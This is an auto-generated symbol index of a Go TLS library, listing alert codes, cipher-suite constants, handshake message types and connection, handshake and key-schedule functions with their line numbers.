constant alertUnexpectedMessage (line 19) | alertUnexpectedMessage alert = 10
constant alertBadRecordMAC (line 20) | alertBadRecordMAC alert = 20
constant alertDecryptionFailed (line 21) | alertDecryptionFailed alert = 21
constant alertRecordOverflow (line 22) | alertRecordOverflow alert = 22
constant alertDecompressionFailure (line 23) | alertDecompressionFailure alert = 30
constant alertHandshakeFailure (line 24) | alertHandshakeFailure alert = 40
constant alertBadCertificate (line 25) | alertBadCertificate alert = 42
constant alertUnsupportedCertificate (line 26) | alertUnsupportedCertificate alert = 43
constant alertCertificateRevoked (line 27) | alertCertificateRevoked alert = 44
constant alertCertificateExpired (line 28) | alertCertificateExpired alert = 45
constant alertCertificateUnknown (line 29) | alertCertificateUnknown alert = 46
constant alertIllegalParameter (line 30) | alertIllegalParameter alert = 47
constant alertUnknownCA (line 31) | alertUnknownCA alert = 48
constant alertAccessDenied (line 32) | alertAccessDenied alert = 49
constant alertDecodeError (line 33) | alertDecodeError alert = 50
constant alertDecryptError (line 34) | alertDecryptError alert = 51
constant alertProtocolVersion (line 35) | alertProtocolVersion alert = 70
constant alertInsufficientSecurity (line 36) | alertInsufficientSecurity alert = 71
constant alertInternalError (line 37) | alertInternalError alert = 80
constant alertInappropriateFallback (line 38) | alertInappropriateFallback alert = 86
constant alertUserCanceled (line 39) | alertUserCanceled alert = 90
constant alertNoRenegotiation (line 40) | alertNoRenegotiation alert = 100
constant alertMissingExtension (line 41) | alertMissingExtension alert = 109
constant alertUnsupportedExtension (line 42) | alertUnsupportedExtension alert = 110
constant alertUnrecognizedName (line 43) | alertUnrecognizedName alert = 112
constant alertNoApplicationProtocol (line 44) | alertNoApplicationProtocol alert = 120
FILE: tls/auth.go
function verifyHandshakeSignature (line 20) | func verifyHandshakeSignature(sigType uint8, pubkey crypto.PublicKey, ha...
function typeAndHashFromSignatureScheme (line 70) | func typeAndHashFromSignatureScheme(signatureAlgorithm SignatureScheme) ...
function legacyTypeAndHashFromPublicKey (line 103) | func legacyTypeAndHashFromPublicKey(pub crypto.PublicKey) (sigType uint8...
function signatureSchemesForCertificate (line 144) | func signatureSchemesForCertificate(version uint16, cert *Certificate) [...
function selectSignatureScheme (line 191) | func selectSignatureScheme(vers uint16, c *Certificate, peerAlgs []Signa...
function unsupportedCertificateError (line 213) | func unsupportedCertificateError(cert *Certificate) error {
FILE: tls/cipher_suites.go
type CipherSuite (line 23) | type CipherSuite struct
type keyAgreement (line 38) | type keyAgreement interface
constant suiteECDHE (line 60) | suiteECDHE = 1 << iota
constant suiteECSign (line 65) | suiteECSign
constant suiteTLS12 (line 68) | suiteTLS12
constant suiteSHA384 (line 71) | suiteSHA384
constant suiteDefaultOff (line 74) | suiteDefaultOff
type cipherSuite (line 78) | type cipherSuite struct
function cipherRC4 (line 121) | func cipherRC4(key, iv []byte, isRead bool) interface{} {
function cipher3DES (line 126) | func cipher3DES(key, iv []byte, isRead bool) interface{} {
function cipherAES (line 134) | func cipherAES(key, iv []byte, isRead bool) interface{} {
function macSHA1 (line 143) | func macSHA1(version uint16, key []byte) macFunction {
function macSHA256 (line 149) | func macSHA256(version uint16, key []byte) macFunction {
type macFunction (line 153) | type macFunction interface
type aead (line 162) | type aead interface
constant aeadNonceLength (line 172) | aeadNonceLength = 12
constant noncePrefixLength (line 173) | noncePrefixLength = 4
type prefixNonceAEAD (line 178) | type prefixNonceAEAD struct
method NonceSize (line 184) | func (f *prefixNonceAEAD) NonceSize() int { return aeadNonceLen...
method Overhead (line 185) | func (f *prefixNonceAEAD) Overhead() int { return f.aead.Overh...
method explicitNonceLen (line 186) | func (f *prefixNonceAEAD) explicitNonceLen() int { return f.NonceSize() }
method Seal (line 188) | func (f *prefixNonceAEAD) Seal(out, nonce, plaintext, additionalData [...
method Open (line 193) | func (f *prefixNonceAEAD) Open(out, nonce, ciphertext, additionalData ...
type xorNonceAEAD (line 200) | type xorNonceAEAD struct
method NonceSize (line 205) | func (f *xorNonceAEAD) NonceSize() int { return 8 }
method Overhead (line 206) | func (f *xorNonceAEAD) Overhead() int { return f.aead.Overhead...
method explicitNonceLen (line 207) | func (f *xorNonceAEAD) explicitNonceLen() int { return 0 }
method Seal (line 209) | func (f *xorNonceAEAD) Seal(out, nonce, plaintext, additionalData []by...
method Open (line 221) | func (f *xorNonceAEAD) Open(out, nonce, ciphertext, additionalData []b...
function aeadAESGCM (line 233) | func aeadAESGCM(key, noncePrefix []byte) aead {
function aeadChaCha20Poly1305 (line 251) | func aeadChaCha20Poly1305(key, nonceMask []byte) aead {
type constantTimeHash (line 265) | type constantTimeHash interface
type cthWrapper (line 272) | type cthWrapper struct
method Size (line 276) | func (c *cthWrapper) Size() int { return c.h.Size() }
method BlockSize (line 277) | func (c *cthWrapper) BlockSize() int { return c.h.BlockSi...
method Reset (line 278) | func (c *cthWrapper) Reset() { c.h.Reset() }
method Write (line 279) | func (c *cthWrapper) Write(p []byte) (int, error) { return c.h.Write(p) }
method Sum (line 280) | func (c *cthWrapper) Sum(b []byte) []byte { return c.h.Constan...
function newConstantTimeHash (line 282) | func newConstantTimeHash(h func() hash.Hash) func() hash.Hash {
type tls10MAC (line 289) | type tls10MAC struct
method Size (line 294) | func (s tls10MAC) Size() int {
method MAC (line 301) | func (s tls10MAC) MAC(seq, header, data, extra []byte) []byte {
function rsaKA (line 313) | func rsaKA(version uint16) keyAgreement {
function ecdheECDSAKA (line 317) | func ecdheECDSAKA(version uint16) keyAgreement {
function ecdheRSAKA (line 324) | func ecdheRSAKA(version uint16) keyAgreement {
function mutualCipherSuite (line 333) | func mutualCipherSuite(have []uint16, want uint16) *cipherSuite {
function cipherSuiteByID (line 342) | func cipherSuiteByID(id uint16) *cipherSuite {
constant TLS_RSA_WITH_RC4_128_SHA (line 357) | TLS_RSA_WITH_RC4_128_SHA uint16 = 0x0005
constant TLS_RSA_WITH_3DES_EDE_CBC_SHA (line 358) | TLS_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0x000a
constant TLS_RSA_WITH_AES_128_CBC_SHA (line 359) | TLS_RSA_WITH_AES_128_CBC_SHA uint16 = 0x002f
constant TLS_RSA_WITH_AES_256_CBC_SHA (line 360) | TLS_RSA_WITH_AES_256_CBC_SHA uint16 = 0x0035
constant TLS_RSA_WITH_AES_128_CBC_SHA256 (line 361) | TLS_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0x003c
constant TLS_RSA_WITH_AES_128_GCM_SHA256 (line 362) | TLS_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0x009c
constant TLS_RSA_WITH_AES_256_GCM_SHA384 (line 363) | TLS_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0x009d
constant TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (line 364) | TLS_ECDHE_ECDSA_WITH_RC4_128_SHA uint16 = 0xc007
constant TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (line 365) | TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA uint16 = 0xc009
constant TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (line 366) | TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA uint16 = 0xc00a
constant TLS_ECDHE_RSA_WITH_RC4_128_SHA (line 367) | TLS_ECDHE_RSA_WITH_RC4_128_SHA uint16 = 0xc011
constant TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (line 368) | TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA uint16 = 0xc012
constant TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (line 369) | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA uint16 = 0xc013
constant TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (line 370) | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA uint16 = 0xc014
constant TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 (line 371) | TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 uint16 = 0xc023
constant TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (line 372) | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 uint16 = 0xc027
constant TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (line 373) | TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02f
constant TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (line 374) | TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 uint16 = 0xc02b
constant TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (line 375) | TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 uint16 = 0xc030
constant TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (line 376) | TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 uint16 = 0xc02c
constant TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (line 377) | TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xcca8
constant TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (line 378) | TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 uint16 = 0xcca9
constant TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305 (line 382) | TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305 = TLS_ECDHE_RSA_WITH_CHACHA20_POL...
constant TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305 (line 383) | TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305 = TLS_ECDHE_ECDSA_WITH_CHACHA20_P...
FILE: tls/common.go
constant VersionTLS10 (line 23) | VersionTLS10 = 0x0301
constant VersionTLS11 (line 24) | VersionTLS11 = 0x0302
constant VersionTLS12 (line 25) | VersionTLS12 = 0x0303
constant maxPlaintext (line 29) | maxPlaintext = 16384
constant recordHeaderLen (line 30) | recordHeaderLen = 5
constant maxHandshake (line 31) | maxHandshake = 65536
constant maxUselessRecords (line 32) | maxUselessRecords = 16
type recordType (line 36) | type recordType
constant recordTypeChangeCipherSpec (line 39) | recordTypeChangeCipherSpec recordType = 20
constant recordTypeAlert (line 40) | recordTypeAlert recordType = 21
constant recordTypeHandshake (line 41) | recordTypeHandshake recordType = 22
constant recordTypeApplicationData (line 42) | recordTypeApplicationData recordType = 23
constant typeHelloRequest (line 47) | typeHelloRequest uint8 = 0
constant typeClientHello (line 48) | typeClientHello uint8 = 1
constant typeServerHello (line 49) | typeServerHello uint8 = 2
constant typeNewSessionTicket (line 50) | typeNewSessionTicket uint8 = 4
constant typeEndOfEarlyData (line 51) | typeEndOfEarlyData uint8 = 5
constant typeEncryptedExtensions (line 52) | typeEncryptedExtensions uint8 = 8
constant typeCertificate (line 53) | typeCertificate uint8 = 11
constant typeServerKeyExchange (line 54) | typeServerKeyExchange uint8 = 12
constant typeCertificateRequest (line 55) | typeCertificateRequest uint8 = 13
constant typeServerHelloDone (line 56) | typeServerHelloDone uint8 = 14
constant typeCertificateVerify (line 57) | typeCertificateVerify uint8 = 15
constant typeClientKeyExchange (line 58) | typeClientKeyExchange uint8 = 16
constant typeFinished (line 59) | typeFinished uint8 = 20
constant typeCertificateStatus (line 60) | typeCertificateStatus uint8 = 22
constant typeKeyUpdate (line 61) | typeKeyUpdate uint8 = 24
constant compressionNone (line 66) | compressionNone uint8 = 0
constant extensionServerName (line 71) | extensionServerName uint16 = 0
constant extensionStatusRequest (line 72) | extensionStatusRequest uint16 = 5
constant extensionSupportedCurves (line 73) | extensionSupportedCurves uint16 = 10
constant extensionSupportedPoints (line 74) | extensionSupportedPoints uint16 = 11
constant extensionSignatureAlgorithms (line 75) | extensionSignatureAlgorithms uint16 = 13
constant extensionALPN (line 76) | extensionALPN uint16 = 16
constant extensionSCT (line 77) | extensionSCT uint16 = 18
constant extensionSessionTicket (line 78) | extensionSessionTicket uint16 = 35
constant extensionPreSharedKey (line 79) | extensionPreSharedKey uint16 = 41
constant extensionEarlyData (line 80) | extensionEarlyData uint16 = 42
constant extensionSupportedVersions (line 81) | extensionSupportedVersions uint16 = 43
constant extensionCookie (line 82) | extensionCookie uint16 = 44
constant extensionPSKModes (line 83) | extensionPSKModes uint16 = 45
constant extensionCertificateAuthorities (line 84) | extensionCertificateAuthorities uint16 = 47
constant extensionSignatureAlgorithmsCert (line 85) | extensionSignatureAlgorithmsCert uint16 = 50
constant extensionKeyShare (line 86) | extensionKeyShare uint16 = 51
constant extensionRenegotiationInfo (line 87) | extensionRenegotiationInfo uint16 = 0xff01
constant scsvRenegotiation (line 92) | scsvRenegotiation uint16 = 0x00ff
type CurveID (line 100) | type CurveID
constant CurveP256 (line 103) | CurveP256 CurveID = 23
constant CurveP384 (line 104) | CurveP384 CurveID = 24
constant CurveP521 (line 105) | CurveP521 CurveID = 25
constant X25519 (line 106) | X25519 CurveID = 29
type keyShare (line 110) | type keyShare struct
constant pointFormatUncompressed (line 118) | pointFormatUncompressed uint8 = 0
constant statusTypeOCSP (line 123) | statusTypeOCSP uint8 = 1
constant certTypeRSASign (line 128) | certTypeRSASign = 1
constant certTypeECDSASign (line 129) | certTypeECDSASign = 64
constant signaturePKCS1v15 (line 135) | signaturePKCS1v15 uint8 = iota + 225
constant signatureRSAPSS (line 136) | signatureRSAPSS
constant signatureECDSA (line 137) | signatureECDSA
constant signatureEd25519 (line 138) | signatureEd25519
type ConnectionState (line 166) | type ConnectionState struct
method ExportKeyingMaterial (line 195) | func (cs *ConnectionState) ExportKeyingMaterial(label string, context ...
type ClientSessionState (line 201) | type ClientSessionState struct
type ClientSessionCache (line 222) | type ClientSessionCache interface
type SignatureScheme (line 236) | type SignatureScheme
constant PKCS1WithSHA256 (line 240) | PKCS1WithSHA256 SignatureScheme = 0x0401
constant PKCS1WithSHA384 (line 241) | PKCS1WithSHA384 SignatureScheme = 0x0501
constant PKCS1WithSHA512 (line 242) | PKCS1WithSHA512 SignatureScheme = 0x0601
constant PSSWithSHA256 (line 245) | PSSWithSHA256 SignatureScheme = 0x0804
constant PSSWithSHA384 (line 246) | PSSWithSHA384 SignatureScheme = 0x0805
constant PSSWithSHA512 (line 247) | PSSWithSHA512 SignatureScheme = 0x0806
constant ECDSAWithP256AndSHA256 (line 250) | ECDSAWithP256AndSHA256 SignatureScheme = 0x0403
constant ECDSAWithP384AndSHA384 (line 251) | ECDSAWithP384AndSHA384 SignatureScheme = 0x0503
constant ECDSAWithP521AndSHA512 (line 252) | ECDSAWithP521AndSHA512 SignatureScheme = 0x0603
constant Ed25519 (line 255) | Ed25519 SignatureScheme = 0x0807
constant PKCS1WithSHA1 (line 258) | PKCS1WithSHA1 SignatureScheme = 0x0201
constant ECDSAWithSHA1 (line 259) | ECDSAWithSHA1 SignatureScheme = 0x0203
type ClientHelloInfo (line 264) | type ClientHelloInfo struct
type CertificateRequestInfo (line 316) | type CertificateRequestInfo struct
method SupportsCertificate (line 749) | func (cri *CertificateRequestInfo) SupportsCertificate(c *Certificate)...
type RenegotiationSupport (line 345) | type RenegotiationSupport
constant RenegotiateNever (line 349) | RenegotiateNever RenegotiationSupport = iota
constant RenegotiateOnceAsClient (line 353) | RenegotiateOnceAsClient
constant RenegotiateFreelyAsClient (line 357) | RenegotiateFreelyAsClient
type Config (line 364) | type Config struct
method Clone (line 562) | func (c *Config) Clone() *Config {
method serverInit (line 602) | func (c *Config) serverInit(originalConfig *Config) {
method ticketKeys (line 633) | func (c *Config) ticketKeys() []ticketKey {
method SetSessionTicketKeys (line 647) | func (c *Config) SetSessionTicketKeys(keys [][32]byte) {
method rand (line 662) | func (c *Config) rand() io.Reader {
method time (line 670) | func (c *Config) time() time.Time {
method cipherSuites (line 678) | func (c *Config) cipherSuites() []uint16 {
method supportedVersions (line 692) | func (c *Config) supportedVersions() []uint16 {
method maxSupportedVersion (line 706) | func (c *Config) maxSupportedVersion() uint16 {
method curvePreferences (line 716) | func (c *Config) curvePreferences() []CurveID {
method supportsCurve (line 723) | func (c *Config) supportsCurve(curve CurveID) bool {
method mutualVersion (line 734) | func (c *Config) mutualVersion(peerVersions []uint16) (uint16, bool) {
method writeKeyLog (line 782) | func (c *Config) writeKeyLog(label string, clientRandom, secret []byte...
constant ticketKeyNameLen (line 538) | ticketKeyNameLen = 16
type ticketKey (line 541) | type ticketKey struct
function ticketKeyFromBytes (line 552) | func ticketKeyFromBytes(b [32]byte) (key ticketKey) {
constant keyLogLabelTLS12 (line 779) | keyLogLabelTLS12 = "CLIENT_RANDOM"
type Certificate (line 801) | type Certificate struct
method leaf (line 825) | func (c *Certificate) leaf() (*x509.Certificate, error) {
type handshakeMessage (line 832) | type handshakeMessage interface
type dsaSignature (line 838) | type dsaSignature struct
type ecdsaSignature (line 842) | type ecdsaSignature
function defaultConfig (line 846) | func defaultConfig() *Config {
function defaultCipherSuites (line 855) | func defaultCipherSuites() []uint16 {
function initDefaultCipherSuites (line 860) | func initDefaultCipherSuites() {
function unexpectedMessageError (line 889) | func unexpectedMessageError(wanted, got interface{}) error {
function isSupportedSignatureAlgorithm (line 893) | func isSupportedSignatureAlgorithm(sigAlg SignatureScheme, supportedSign...
FILE: tls/conn.go
type Conn (line 25) | type Conn struct
method LocalAddr (line 117) | func (c *Conn) LocalAddr() net.Addr {
method RemoteAddr (line 122) | func (c *Conn) RemoteAddr() net.Addr {
method SetDeadline (line 129) | func (c *Conn) SetDeadline(t time.Time) error {
method SetReadDeadline (line 135) | func (c *Conn) SetReadDeadline(t time.Time) error {
method SetWriteDeadline (line 142) | func (c *Conn) SetWriteDeadline(t time.Time) error {
method newRecordHeaderError (line 494) | func (c *Conn) newRecordHeaderError(conn net.Conn, msg string) (err Re...
method readRecord (line 501) | func (c *Conn) readRecord() error {
method readChangeCipherSpec (line 505) | func (c *Conn) readChangeCipherSpec() error {
method readRecordOrCCS (line 521) | func (c *Conn) readRecordOrCCS(expectChangeCipherSpec bool) error {
method retryReadRecord (line 663) | func (c *Conn) retryReadRecord(expectChangeCipherSpec bool) error {
method readFromUntil (line 697) | func (c *Conn) readFromUntil(r io.Reader, n int) error {
method sendAlertLocked (line 711) | func (c *Conn) sendAlertLocked(err alert) error {
method sendAlert (line 730) | func (c *Conn) sendAlert(err alert) error {
method maxPayloadSizeForWrite (line 766) | func (c *Conn) maxPayloadSizeForWrite(typ recordType) int {
method write (line 810) | func (c *Conn) write(data []byte) (int, error) {
method flush (line 821) | func (c *Conn) flush() (int, error) {
method writeRecordLocked (line 835) | func (c *Conn) writeRecordLocked(typ recordType, data []byte) (int, er...
method writeRecord (line 879) | func (c *Conn) writeRecord(typ recordType, data []byte) (int, error) {
method readHandshake (line 888) | func (c *Conn) readHandshake() (interface{}, error) {
method Write (line 964) | func (c *Conn) Write(b []byte) (int, error) {
method handleRenegotiation (line 1021) | func (c *Conn) handleRenegotiation() error {
method handlePostHandshakeMessage (line 1059) | func (c *Conn) handlePostHandshakeMessage() error {
method Read (line 1065) | func (c *Conn) Read(b []byte) (int, error) {
method Close (line 1109) | func (c *Conn) Close() error {
method CloseWrite (line 1148) | func (c *Conn) CloseWrite() error {
method closeNotify (line 1156) | func (c *Conn) closeNotify() error {
method Handshake (line 1171) | func (c *Conn) Handshake() error {
method ConnectionState (line 1202) | func (c *Conn) ConnectionState() ConnectionState {
method OCSPResponse (line 1239) | func (c *Conn) OCSPResponse() []byte {
method VerifyHostname (line 1249) | func (c *Conn) VerifyHostname(host string) error {
method handshakeComplete (line 1261) | func (c *Conn) handshakeComplete() bool {
type halfConn (line 148) | type halfConn struct
method setErrorLocked (line 164) | func (hc *halfConn) setErrorLocked(err error) error {
method prepareCipherSpec (line 171) | func (hc *halfConn) prepareCipherSpec(version uint16, cipher interface...
method changeCipherSpec (line 179) | func (hc *halfConn) changeCipherSpec() error {
method incSeq (line 194) | func (hc *halfConn) incSeq() {
method explicitNonceLen (line 211) | func (hc *halfConn) explicitNonceLen() int {
method decrypt (line 294) | func (hc *halfConn) decrypt(record []byte) ([]byte, recordType, error) {
method encrypt (line 405) | func (hc *halfConn) encrypt(record, payload []byte, rand io.Reader) ([...
function extractPadding (line 235) | func extractPadding(payload []byte) (toRemove int, good byte) {
function roundUp (line 282) | func roundUp(a, b int) int {
type cbcMode (line 287) | type cbcMode interface
function sliceForAppend (line 392) | func sliceForAppend(in []byte, n int) (head, tail []byte) {
type RecordHeaderError (line 479) | type RecordHeaderError struct
method Error (line 492) | func (e RecordHeaderError) Error() string { return "tls: " + e.Msg }
type atLeastReader (line 675) | type atLeastReader struct
method Read (line 680) | func (r *atLeastReader) Read(p []byte) (int, error) {
constant tcpMSSEstimate (line 742) | tcpMSSEstimate = 1208
constant recordSizeBoostThreshold (line 747) | recordSizeBoostThreshold = 128 * 1024
FILE: tls/generate_cert.go
function publicKey (line 40) | func publicKey(priv interface{}) interface{} {
function main (line 53) | func main() {
FILE: tls/handshake_client.go
type clientHandshakeState (line 23) | type clientHandshakeState struct
method handshake (line 283) | func (hs *clientHandshakeState) handshake() error {
method pickCipherSuite (line 351) | func (hs *clientHandshakeState) pickCipherSuite() error {
method doFullHandshake (line 361) | func (hs *clientHandshakeState) doFullHandshake() error {
method establishKeys (line 548) | func (hs *clientHandshakeState) establishKeys() error {
method serverResumedSession (line 570) | func (hs *clientHandshakeState) serverResumedSession() bool {
method processServerHello (line 577) | func (hs *clientHandshakeState) processServerHello() (bool, error) {
method readFinished (line 642) | func (hs *clientHandshakeState) readFinished(out []byte) error {
method readSessionTicket (line 670) | func (hs *clientHandshakeState) readSessionTicket() error {
method sendFinished (line 700) | func (hs *clientHandshakeState) sendFinished(out []byte) error {
method makeClientHello (line 33) | func (c *Conn) makeClientHello() (*clientHelloMsg, error) {
method clientHandshake (line 131) | func (c *Conn) clientHandshake() (err error) {
method loadSession (line 199) | func (c *Conn) loadSession(hello *clientHelloMsg) (cacheKey string, sess...
method pickTLSVersion (line 261) | func (c *Conn) pickTLSVersion(serverHello *serverHelloMsg) error {
method verifyServerCertificate (line 719) | func (c *Conn) verifyServerCertificate(certificates [][]byte) error {
function certificateRequestInfoFromMsg (line 771) | func certificateRequestInfoFromMsg(vers uint16, certReq *certificateRequ...
method getClientCertificate (line 826) | func (c *Conn) getClientCertificate(cri *CertificateRequestInfo) (*Certi...
function clientSessionCacheKey (line 844) | func clientSessionCacheKey(serverAddr net.Addr, config *Config) string {
function hostnameInSNI (line 854) | func hostnameInSNI(name string) string {
FILE: tls/handshake_messages.go
type marshalingFunction (line 16) | type marshalingFunction
method Marshal (line 18) | func (f marshalingFunction) Marshal(b *cryptobyte.Builder) error {
function addBytesWithLength (line 24) | func addBytesWithLength(b *cryptobyte.Builder, v []byte, n int) {
function readUint8LengthPrefixed (line 36) | func readUint8LengthPrefixed(s *cryptobyte.String, out *[]byte) bool {
function readUint16LengthPrefixed (line 42) | func readUint16LengthPrefixed(s *cryptobyte.String, out *[]byte) bool {
function readUint24LengthPrefixed (line 48) | func readUint24LengthPrefixed(s *cryptobyte.String, out *[]byte) bool {
type clientHelloMsg (line 52) | type clientHelloMsg struct
method marshal (line 79) | func (m *clientHelloMsg) marshal() []byte {
method marshalWithoutBinders (line 267) | func (m *clientHelloMsg) marshalWithoutBinders() []byte {
method updateBinders (line 281) | func (m *clientHelloMsg) updateBinders(pskBinders [][]byte) {
method unmarshal (line 308) | func (m *clientHelloMsg) unmarshal(data []byte) bool {
type serverHelloMsg (line 525) | type serverHelloMsg struct
method marshal (line 549) | func (m *serverHelloMsg) marshal() []byte {
method unmarshal (line 665) | func (m *serverHelloMsg) unmarshal(data []byte) bool {
type encryptedExtensionsMsg (line 775) | type encryptedExtensionsMsg struct
method marshal (line 780) | func (m *encryptedExtensionsMsg) marshal() []byte {
method unmarshal (line 806) | func (m *encryptedExtensionsMsg) unmarshal(data []byte) bool {
type endOfEarlyDataMsg (line 849) | type endOfEarlyDataMsg struct
method marshal (line 851) | func (m *endOfEarlyDataMsg) marshal() []byte {
method unmarshal (line 857) | func (m *endOfEarlyDataMsg) unmarshal(data []byte) bool {
type keyUpdateMsg (line 861) | type keyUpdateMsg struct
method marshal (line 866) | func (m *keyUpdateMsg) marshal() []byte {
method unmarshal (line 885) | func (m *keyUpdateMsg) unmarshal(data []byte) bool {
type newSessionTicketMsgTLS13 (line 905) | type newSessionTicketMsgTLS13 struct
method marshal (line 914) | func (m *newSessionTicketMsgTLS13) marshal() []byte {
method unmarshal (line 945) | func (m *newSessionTicketMsgTLS13) unmarshal(data []byte) bool {
type certificateRequestMsgTLS13 (line 986) | type certificateRequestMsgTLS13 struct
method marshal (line 995) | func (m *certificateRequestMsgTLS13) marshal() []byte {
method unmarshal (line 1060) | func (m *certificateRequestMsgTLS13) unmarshal(data []byte) bool {
type certificateMsg (line 1136) | type certificateMsg struct
method marshal (line 1141) | func (m *certificateMsg) marshal() (x []byte) {
method unmarshal (line 1176) | func (m *certificateMsg) unmarshal(data []byte) bool {
type certificateMsgTLS13 (line 1213) | type certificateMsgTLS13 struct
method marshal (line 1220) | func (m *certificateMsgTLS13) marshal() []byte {
method unmarshal (line 1281) | func (m *certificateMsgTLS13) unmarshal(data []byte) bool {
function marshalCertificate (line 1244) | func marshalCertificate(b *cryptobyte.Builder, certificate Certificate) {
function unmarshalCertificate (line 1299) | func unmarshalCertificate(s *cryptobyte.String, certificate *Certificate...
type serverKeyExchangeMsg (line 1359) | type serverKeyExchangeMsg struct
method marshal (line 1364) | func (m *serverKeyExchangeMsg) marshal() []byte {
method unmarshal (line 1380) | func (m *serverKeyExchangeMsg) unmarshal(data []byte) bool {
type certificateStatusMsg (line 1389) | type certificateStatusMsg struct
method marshal (line 1394) | func (m *certificateStatusMsg) marshal() []byte {
method unmarshal (line 1412) | func (m *certificateStatusMsg) unmarshal(data []byte) bool {
type serverHelloDoneMsg (line 1426) | type serverHelloDoneMsg struct
method marshal (line 1428) | func (m *serverHelloDoneMsg) marshal() []byte {
method unmarshal (line 1434) | func (m *serverHelloDoneMsg) unmarshal(data []byte) bool {
type clientKeyExchangeMsg (line 1438) | type clientKeyExchangeMsg struct
method marshal (line 1443) | func (m *clientKeyExchangeMsg) marshal() []byte {
method unmarshal (line 1459) | func (m *clientKeyExchangeMsg) unmarshal(data []byte) bool {
type finishedMsg (line 1472) | type finishedMsg struct
method marshal (line 1477) | func (m *finishedMsg) marshal() []byte {
method unmarshal (line 1492) | func (m *finishedMsg) unmarshal(data []byte) bool {
type certificateRequestMsg (line 1500) | type certificateRequestMsg struct
method marshal (line 1511) | func (m *certificateRequestMsg) marshal() (x []byte) {
method unmarshal (line 1566) | func (m *certificateRequestMsg) unmarshal(data []byte) bool {
type certificateVerifyMsg (line 1642) | type certificateVerifyMsg struct
method marshal (line 1649) | func (m *certificateVerifyMsg) marshal() (x []byte) {
method unmarshal (line 1669) | func (m *certificateVerifyMsg) unmarshal(data []byte) bool {
type newSessionTicketMsg (line 1684) | type newSessionTicketMsg struct
method marshal (line 1689) | func (m *newSessionTicketMsg) marshal() (x []byte) {
method unmarshal (line 1711) | func (m *newSessionTicketMsg) unmarshal(data []byte) bool {
type helloRequestMsg (line 1733) | type helloRequestMsg struct
method marshal (line 1736) | func (*helloRequestMsg) marshal() []byte {
method unmarshal (line 1740) | func (*helloRequestMsg) unmarshal(data []byte) bool {
FILE: tls/key_agreement.go
type rsaKeyAgreement (line 23) | type rsaKeyAgreement struct
method generateServerKeyExchange (line 25) | func (ka rsaKeyAgreement) generateServerKeyExchange(config *Config, ce...
method processClientKeyExchange (line 29) | func (ka rsaKeyAgreement) processClientKeyExchange(config *Config, cer...
method processServerKeyExchange (line 57) | func (ka rsaKeyAgreement) processServerKeyExchange(config *Config, cli...
method generateClientKeyExchange (line 61) | func (ka rsaKeyAgreement) generateClientKeyExchange(config *Config, cl...
function sha1Hash (line 83) | func sha1Hash(slices [][]byte) []byte {
function md5SHA1Hash (line 93) | func md5SHA1Hash(slices [][]byte) []byte {
function hashForServerKeyExchange (line 108) | func hashForServerKeyExchange(sigType uint8, hashFunc crypto.Hash, versi...
type ecdheKeyAgreement (line 134) | type ecdheKeyAgreement struct
method generateServerKeyExchange (line 145) | func (ka *ecdheKeyAgreement) generateServerKeyExchange(config *Config,...
method processClientKeyExchange (line 234) | func (ka *ecdheKeyAgreement) processClientKeyExchange(config *Config, ...
method processServerKeyExchange (line 247) | func (ka *ecdheKeyAgreement) processServerKeyExchange(config *Config, ...
method generateClientKeyExchange (line 328) | func (ka *ecdheKeyAgreement) generateClientKeyExchange(config *Config,...
FILE: tls/key_schedule.go
constant resumptionBinderLabel (line 20) | resumptionBinderLabel = "res binder"
constant clientHandshakeTrafficLabel (line 21) | clientHandshakeTrafficLabel = "c hs traffic"
constant serverHandshakeTrafficLabel (line 22) | serverHandshakeTrafficLabel = "s hs traffic"
constant clientApplicationTrafficLabel (line 23) | clientApplicationTrafficLabel = "c ap traffic"
constant serverApplicationTrafficLabel (line 24) | serverApplicationTrafficLabel = "s ap traffic"
constant exporterLabel (line 25) | exporterLabel = "exp master"
constant resumptionLabel (line 26) | resumptionLabel = "res master"
constant trafficUpdateLabel (line 27) | trafficUpdateLabel = "traffic upd"
type ecdheParameters (line 32) | type ecdheParameters interface
function generateECDHEParameters (line 38) | func generateECDHEParameters(rand io.Reader, curveID CurveID) (ecdhePara...
function curveForCurveID (line 65) | func curveForCurveID(id CurveID) (elliptic.Curve, bool) {
type nistParameters (line 78) | type nistParameters struct
method CurveID (line 84) | func (p *nistParameters) CurveID() CurveID {
method PublicKey (line 88) | func (p *nistParameters) PublicKey() []byte {
method SharedKey (line 93) | func (p *nistParameters) SharedKey(peerPublicKey []byte) []byte {
type x25519Parameters (line 109) | type x25519Parameters struct
method CurveID (line 114) | func (p *x25519Parameters) CurveID() CurveID {
